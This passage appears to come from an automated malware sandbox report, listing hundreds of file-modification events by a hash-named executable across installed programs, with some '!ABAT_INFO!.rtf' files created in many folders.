Files\Java\jre7\lib\zi\Pacific\Marquesas 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\bin\javaw.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\include\win32\jni_md.h 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\SystemV\HST10 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.workbench.swt.nl_ja_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.reconciler.dropins.nl_zh_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\images\cursors\win32_MoveDrop32x32.gif 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Miquelon 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Africa\Khartoum 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Windows Mail\wab.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Africa\Bissau 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\GMT-14 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.components.ui_5.5.0.165303.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\olh001.htm 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Danmarkshavn 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Santo_Domingo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.babel.nls_eclipse_zh_4.4.0.v20140623020002\license.html 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-modules-sendopts.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-modules-settings.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\bin\rmid.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\sv\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\forms_received.gif 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\North_Dakota\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.osgi.compatibility.state.nl_ja_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-application_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\wa\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\Locales\ml.pak 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Riga 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\St_Johns 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\preface.htm 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.model.workbench.nl_ja_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\bin\javaw.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\fonts\LucidaBrightDemiItalic.ttf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Europe\Uzhgorod 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\forms_super.gif 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\pmd.cer 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.model.workbench.nl_zh_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.win32.nl_zh_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\lib\boot.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\deploy\messages_es.properties 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Montevideo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Boise 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jre7\lib\zi\America\Kentucky\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\bin\ssvagent.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\La_Paz 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins3d\prcr.x3d 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\Locales\ja.pak 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\vi\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\si\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\deploy\messages_pt_BR.properties 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Etc\GMT+9 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Hovd 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\clearkey.dll.sig 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\Extensions\external_extensions.json 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.diagnostic_5.5.0.165303.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-sa.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins3d\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\jfr\default.jfc 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Cuiaba 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\GMT-11 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\GMT-8 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Indian\Kerguelen 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Anchorage 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.console_5.5.0.165303\feature.properties 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.rcp_5.5.0.165303\feature.properties 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Argentina\Mendoza 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Manila 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Africa\Cairo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Mozilla Firefox\update-settings.ini 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_US.txt 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Atlantic\Reykjavik 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.core.services_1.2.1.v20140808-1251.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Kolkata 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-openide-actions.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\deploy\messages.properties 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Africa\Bissau 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Indiana\Winamac 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Atlantic\Cape_Verde 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.ssl.feature_1.0.0.v20140827-1444\META-INF\eclipse.inf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\org-netbeans-modules-profiler-utilities_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Lima 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\CourierStd-Oblique.otf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\VDKHome\ENU\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\EST5EDT 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\hi\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\Installer\chrmstp.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\include\win32\bridge\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Panama 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\plugin.properties 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Dhaka 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Barbados 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.publisher_1.3.0.v20140911-0143.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Managua 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Microsoft Visual Studio 8\Common7\IDE\VSTA\ItemTemplates\CSharp\1033\UserControl.zip 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Yakutat 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\org-netbeans-modules-profiler-attach_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\images\cursors\cursors.properties 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\TraceComplete.css 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\gu\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Guam 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-spi-quicksearch_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.metadata_2.2.0.v20131211-1531.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Cancun 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Colombo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\an\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\ky\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Microsoft Analysis Services\AS OLEDB\10\Resources\1033\msolui100.rll 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\bin\javafxpackager.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Australia\Currie 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Almaty 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.publisher.eclipse.nl_zh_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-queries_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\e4_default_win7.css 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-masterfs-nio2_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-modules-favorites.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Blanc-Sablon 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\kn\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Microsoft Visual Studio 8\Common7\IDE\VSTA\ItemTemplates\CSharp\1033\Form.zip 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\ConvertToConfirm.sys 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\db\LICENSE 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\include\jvmticmlr.h 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.repository.nl_zh_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Baku 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jre7\lib\zi\Asia\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jre7\lib\zi\Atlantic\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\am\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\sk\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\plugins\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\cmm\sRGB.pf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Indian\Christmas 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-swing-tabcontrol_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Africa\El_Aaiun 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Costa_Rica 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\sk\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Europe\Kaliningrad 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Multimedia\MPP\Flash.mpp 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\VisualElements\SmallLogoCanary.png 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Montreal 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Halifax 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\bs\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Tarawa 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.metadata.repository.nl_ja_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Adak 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\km\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\psfont.properties.ja 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Copenhagen 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.bindings.nl_zh_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-uisupport.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Juneau 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\eBook.api 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\TURKISH.TXT 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\Locales\zh-CN.pak 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Africa\Monrovia 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program 